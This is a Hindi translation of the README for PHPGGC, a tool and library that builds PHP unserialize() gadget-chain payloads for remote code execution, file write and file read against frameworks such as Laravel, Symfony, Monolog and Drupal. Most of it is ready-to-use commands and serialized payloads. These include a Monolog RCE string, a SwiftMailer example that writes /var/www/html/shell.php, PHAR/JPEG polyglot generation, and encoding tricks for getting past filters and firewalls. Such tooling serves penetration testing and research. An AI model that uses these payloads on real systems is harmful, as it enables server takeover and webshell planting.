
PHPGGC PHP unserialize() पेलोड की एक लाइब्रेरी है, साथ ही उन्हें कमांड लाइन या प्रोग्रामेटिक रूप से उत्पन्न करने के लिए एक उपकरण है।
PHPGGC, unserialize() पेलोड्स की एक लाइब्रेरी है, साथ ही इन्हें कमांड लाइन या प्रोग्रामेटिक रूप से उत्पन्न करने का एक टूल भी है। जब आपको किसी ऐसी वेबसाइट पर unserialize मिलता है जिसका कोड आपके पास नहीं है, या केवल एक एक्सप्लॉइट बनाने की कोशिश कर रहे हों, तो यह टूल आपको गैजेट खोजने और उन्हें जोड़ने के थकाऊ चरणों से गुज़ारे बिना पेलोड उत्पन्न करने की सुविधा देता है। इसे frohoff's ysoserial के समकक्ष माना जा सकता है, लेकिन PHP के लिए। वर्तमान में, यह टूल इन गैजेट चेन का समर्थन करता है: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii और ZendFramework।
PHPGGC चलाने के लिए PHP >= 5.6 आवश्यक है।
गैजेट चेन की सूची प्राप्त करने के लिए ./phpggc -l चलाएँ:
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString *
CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE3 4.0.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
...
गैजेट चेन फ़िल्टर करें:
$ ./phpggc -l laravel
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
हर गैजेट चेन में होता है:
__destruct(), __toString(), offsetGet(), ...)किसी चेन के बारे में विस्तृत जानकारी पाने के लिए -i का उपयोग करें:
$ ./phpggc -i symfony/rce1
Name : Symfony/RCE1
Version : 3.3
Type : rce
Vector : __destruct
Informations :
Exec through proc_open()
./phpggc Symfony/RCE1 <command>
RCE गैजेट्स के लिए, निष्पादित कमांड में गैजेट के काम करने के तरीके के आधार पर 3 प्रकार के फ़ॉर्मेटिंग हो सकते हैं:
./phpggc Symfony/RCE1 id./phpggc Symfony/RCE2 'phpinfo();'./phpggc Symfony/RCE4 system idएक बार जब आप एक चेन चुन लें, तो पेलोड प्राप्त करने के लिए ./phpggc <gadget-chain> [parameters] चलाएँ।
उदाहरण के लिए, Monolog के लिए पेलोड प्राप्त करने हेतु, आप यह करेंगे:
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
SwiftMailer का उपयोग करके फ़ाइल लिखने के लिए, आप यह करेंगे:
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
--wrapper (-w) विकल्प आपको एक PHP फ़ाइल परिभाषित करने की सुविधा देता है जिसमें निम्नलिखित फ़ंक्शन होते हैं:
process_parameters(array $parameters): generate() से ठीक पहले कॉल किया जाता है, पैरामीटर बदलने की अनुमति देता हैprocess_object(object $object): serialize() से ठीक पहले कॉल किया जाता है, ऑब्जेक्ट बदलने की अनुमति देता हैprocess_serialized(string $serialized): serialize() के ठीक बाद कॉल किया जाता है, सीरियलाइज़्ड स्ट्रिंग बदलने की अनुमति देता हैउदाहरण के लिए, यदि कमज़ोर कोड इस प्रकार दिखता है:
<?php
$data = unserialize($_GET['data']);
print $data['message'];
आप इसे इस प्रकार लपेटते हुए __toString() चेन का उपयोग कर सकते हैं:
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
return array(
'message' => $object
);
}
और आप phpggc को इस प्रकार कॉल करेंगे:
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
BlackHat US 2018 में, @s_n_t ने PHARGGC जारी किया, जो PHPGGC का एक fork है जो सीरियलाइज़्ड पेलोड बनाने के बजाय एक पूरी PHAR फ़ाइल बनाता है। इस PHAR फ़ाइल में सीरियलाइज़्ड डेटा होता है और इस तरह इसका उपयोग विभिन्न शोषण तकनीकों (file_exists, fopen, आदि) के लिए किया जा सकता है। पेपर यहाँ है।
PHAR अभिलेख तीन अलग-अलग प्रारूपों में आते हैं: PHAR, TAR, और ZIP। तीनों को PHPGGC समर्थन करता है।
--phar-jpeg (-pj) का उपयोग करके Polyglot फ़ाइलें उत्पन्न की जा सकती हैं। अन्य विकल्प भी उपलब्ध हैं (-h देखें)।
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id
तर्क पेलोड को आउटपुट करने के तरीके को संशोधित करने की अनुमति देते हैं। उदाहरण के लिए, -u इसे URL एन्कोड करेगा, और -b इसे base64 में बदल देगा।
पेलोड में अक्सर NULL बाइट्स होते हैं और इन्हें जैसे-का-तैसा कॉपी/पेस्ट नहीं किया जा सकता। पेलोड को पठनीय बनाए रखने के लिए सॉफ्ट URL एन्कोड हेतु -s का उपयोग करें।
एन्कोडर को श्रृंखलाबद्ध किया जा सकता है, और इसलिए क्रम महत्वपूर्ण है। उदाहरण के लिए, ./phpggc -b -u -u slim/rce1 system id पेलोड को base64 करेगा, फिर उसे दो बार URLencode करेगा।
PHPGGC एक --fast-destruct (-f) फ़्लैग लागू करता है, जो सुनिश्चित करेगा कि आपका सीरियलाइज़्ड ऑब्जेक्ट unserialize() कॉल के तुरंत बाद नष्ट हो जाए, न कि स्क्रिप्ट के अंत में। मैं इसे हर __destruct वेक्टर के लिए उपयोग करने की सलाह देता हूँ, क्योंकि यह विश्वसनीयता में सुधार करता है। उदाहरण के लिए, यदि PHP स्क्रिप्ट कॉल के बाद एक exception उठाती है, तो आपके ऑब्जेक्ट का __destruct मेथड कॉल नहीं हो सकता है। चूँकि इसे एन्कोडर के साथ ही संसाधित किया जाता है, इसे पहले सेट करना आवश्यक है।
$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...
मानक s के बजाय S सीरियलाइज़ेशन प्रारूप का उपयोग करता है। यह हर गैर-ASCII वर्ण को हेक्साडेसिमल प्रतिनिधित्व में बदल देता है:
s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"A\00B\09\0D";
यह तब उपयोगी हो सकता है जब किसी कारण से गैर-ascii वर्णों की अनुमति न हो (उदाहरण के लिए NULL BYTE)। चूँकि पेलोड में सामान्यतः ये होते हैं, यह सुनिश्चित करता है कि पेलोड केवल ASCII मानों से बना हो।
नोट: यह प्रयोगात्मक है और कुछ मामलों में काम नहीं कर सकता है।
मानक s के बजाय S सीरियलाइज़ेशन प्रारूप का उपयोग करता है। यह हर वर्ण को हेक्साडेसिमल प्रतिनिधित्व में बदल देता है:
s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"\41\00\42\09\0D";
यह तब काम आता है जब फ़ायरवॉल या PHP कोड स्ट्रिंग्स को ब्लॉक कर देता है।
नोट: यह प्रयोगात्मक है और कुछ मामलों में काम नहीं कर सकता है।
नोट: यह पेलोड में प्रत्येक स्ट्रिंग को 3 गुना बड़ा कर देता है।
कभी-कभी, PHP स्क्रिप्ट यह सत्यापित करती हैं कि दिया गया सीरियलाइज़्ड पेलोड ऑब्जेक्ट नहीं रखता है, इसके लिए वे /O:[0-9]+: जैसे regex का उपयोग करती हैं। O:123: के बजाय O:+123:... का उपयोग करके इसे आसानी से बायपास किया जा सकता है। कोई --plus-numbers <types> या -n <types> का उपयोग करके इन + चिह्नों को स्वचालित रूप से प्रतीकों के सामने जोड़ सकता है।
उदाहरण के लिए, ऑब्जेक्ट और स्ट्रिंग्स को अस्पष्ट करने के लिए, कोई --n Os का उपयोग कर सकता है। कृपया ध्यान दें कि PHP 7.2 के बाद से, केवल i और d (फ्लोट) प्रकारों में + हो सकता है।
सीरियलाइज़्ड पेलोड के भीतर protected या private गुणों के संदर्भों को public में बदलने का प्रयास करता है। यह उपयोगी हो सकता है क्योंकि जब PHP किसी ऑब्जेक्ट के गैर-सार्वजनिक गुण को सीरियलाइज़ करता है, तो वह गुण के नाम के आगे एक तारांकन (protected के लिए) या क्लास का नाम (private के लिए) null बाइट्स से घिरा हुआ जोड़ता है, जो पेलोड को बिना एन्कोडिंग के सादे पाठ के रूप में प्रसारित या संग्रहीत करने पर आसानी से खो सकते हैं। ऐसा होने पर, पेलोड unserialize करने में विफल हो जाएगा क्योंकि गुण के नाम की स्ट्रिंग लंबाई (और नाम स्वयं) गलत होगी। अतिरिक्त लाभ यह है कि उपसर्गों के बिना पेलोड थोड़े छोटे होते हैं। गुणों को public में बदलना हाल के PHP संस्करणों में काम करता है, लेकिन पुराने संस्करणों (PHP 7.2 से पहले) में समस्याएँ पैदा कर सकता है। यह कार्यक्षमता ठीक से काम नहीं कर सकती है यदि किसी चेन में एक या अधिक ऑब्जेक्ट शामिल हों जिनमें कस्टम serialize / unserialize कार्यान्वयन हो।
यह जाँचने के लिए कि आप जिस गैजेट चेन का उपयोग करना चाहते हैं वह लक्षित वातावरण में काम करती है या नहीं, अपने वातावरण के फ़ोल्डर में जाएँ और चेन को बिना तर्क के, --test-payload विकल्प के साथ चलाएँ।
उदाहरण के लिए, यह जाँचने के लिए कि क्या Monolog/RCE2 Symfony 4.x पर काम करता है:
$ composer create-project symfony/website-skeleton=4.x some_symfony
$ cd some_symfony
$ phpggc monolog/rce2 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !
यदि पेलोड ट्रिगर हुआ तो exit code 0 होगा, अन्यथा 1।
यदि आप जानना चाहते हैं कि कोई गैजेट चेन किसी पैकेज के किन संस्करणों के विरुद्ध काम करती है, तो आप test-gc-compatibility.py का उपयोग कर सकते हैं।
$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Testing 59 versions for monolog/monolog against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.x-dev │ OK │ OK │ KO │
│ 2.3.0 │ OK │ OK │ KO │
│ 2.2.0 │ OK │ OK │ KO │
│ 2.1.1 │ OK │ OK │ KO │
│ 2.1.0 │ OK │ OK │ KO │
│ 2.0.2 │ OK │ OK │ KO │
│ 2.0.1 │ OK │ OK │ KO │
│ 2.0.0 │ OK │ OK │ KO │
│ 2.0.0-beta2 │ OK │ OK │ KO │
│ 2.0.0-beta1 │ OK │ OK │ KO │
│ 1.x-dev │ OK │ OK │ KO │
│ 1.26.1 │ OK │ OK │ KO │
│ 1.26.0 │ OK │ OK │ KO │
│ 1.25.5 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
...
│ 1.0.1 │ OK │ KO │ KO │
│ 1.0.0 │ OK │ KO │ KO │
│ 1.0.0-RC1 │ OK │ KO │ KO │
│ dev-main │ OK │ OK │ KO │
│ * dev-phpstan │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
आप निम्नलिखित सिंटैक्स का उपयोग करके उन संस्करणों को निर्दिष्ट कर सकते हैं जिन्हें आप परीक्षण करना चाहते हैं।
$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
Testing 2 versions for monolog/monolog against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
PHPGGC को कमांड लाइन टूल के रूप में उपयोग करने के बजाय, आप PHP स्क्रिप्ट प्रोग्राम कर सकते हैं:
<?php
# Include PHPGGC
include("phpggc/lib/PHPGGC.php");
# Include guzzle/rce1
$gc = new \GadgetChain\Guzzle\RCE1();
# Always process parameters unless you're doing something out of the ordinary
$parameters = $gc->process_parameters([
'function' => 'system',
'parameter' => 'id',
]);
# Generate the payload
$object = $gc->generate($parameters);
# Most (if not all) GC's do not use process_object and process_serialized, so
# for quick & dirty code you can omit those two
$object = $gc->process_object($object);
# Serialize the payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);
# Display it
print($serialized . "\n");
# Create a PHAR file from this payload
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());
यह आपको पैरामीटर समायोजित करने या अधिक आसानी से एक्सप्लॉइट लिखने की सुविधा देता है। नोट: यह अभी काफी प्रयोगात्मक है, इसलिए कृपया बग्स की रिपोर्ट करें।
Pull requests का हार्दिक स्वागत है। कृपया इन सरल दिशानिर्देशों का पालन करें:
__destruct() हमेशा सबसे अच्छा वेक्टर है{ नई लाइन पर होने चाहिए, और ऐरे को पुराने array(1, 2, 3) संकेतन के बजाय [1, 2, 3] के रूप में लिखा जाना चाहिए।कोड की दृष्टि से, निर्देशिका संरचना काफी सरल है: गैजेट gadgets.php में, विवरण + तर्क chain.php में। यदि पैरामीटर संशोधित करने की आवश्यकता हो तो आप pre- और post- प्रोसेसिंग मेथड्स परिभाषित कर सकते हैं। उम्मीद है, पहले से लागू किए गए गैजेट आपके अपने बनाने के लिए पर्याप्त होंगे। अन्यथा, मुझे आपके प्रश्नों का उत्तर देने में खुशी होगी।
कृपया जितने हो सके उतने संस्करणों का परीक्षण करें। संस्करणों के लिए नामकरण इस प्रकार है: [-]<lower-version> <= <higher-version>[+]। - और + चिह्न इंगित करते हैं कि आपका पेलोड क्रमशः निचले और उच्च संस्करणों पर काम कर सकता है। उदाहरण के लिए, यदि आपकी गैजेट चेन संस्करण 2.0.0 से 4.4.1 तक काम करती है, जो उस समय अंतिम संस्करण है, तो 2.0.0 <= 4.4.1+ का उपयोग करें।
--new <framework> <type> कमांड-लाइन विकल्प का उपयोग नई गैजेट चेन के लिए निर्देशिका और फ़ाइल संरचना बनाने के लिए किया जा सकता है।
उदाहरण के लिए, ./phpggc -n Drupal RCE का उपयोग करने से एक नई Drupal RCE गैजेटचेन बनेगी।
यदि आप PHP इंस्टॉल नहीं करना चाहते हैं, तो आप निम्न का उपयोग करके एक docker इमेज बना सकते हैं:
$ docker build . -t 'phpggc'
इसके बाद आप dockerized phpggc का उपयोग कर सकते हैं।
$ docker run phpggc Monolog/rce1 'system' 'id'
अपने वातावरण के फ़ोल्डर में जाएँ और चेन को बिना तर्क के, --test-payload विकल्प के साथ चलाएँ:
$ docker run -v "$(pwd)":/app -w /app phpggc Monolog/RCE9 --test-payload
नोट: कमांड उस निर्देशिका में चलाया जाना चाहिए जहाँ इनपुट इमेज स्थित है।
$ docker run -v "$(pwd)":/images phpggc -pj /images/dummy.jpg -o /images/z.zip.phar Monolog/RCE9 system id
test-gc-compatibility.py चलाने के लिए$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).
Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.2 │ OK │ OK │ OK │
│ 2.7.2 │ OK │ OK │ KO │
└──────────────────────────┴─────────┴───────────────┴───────────────┘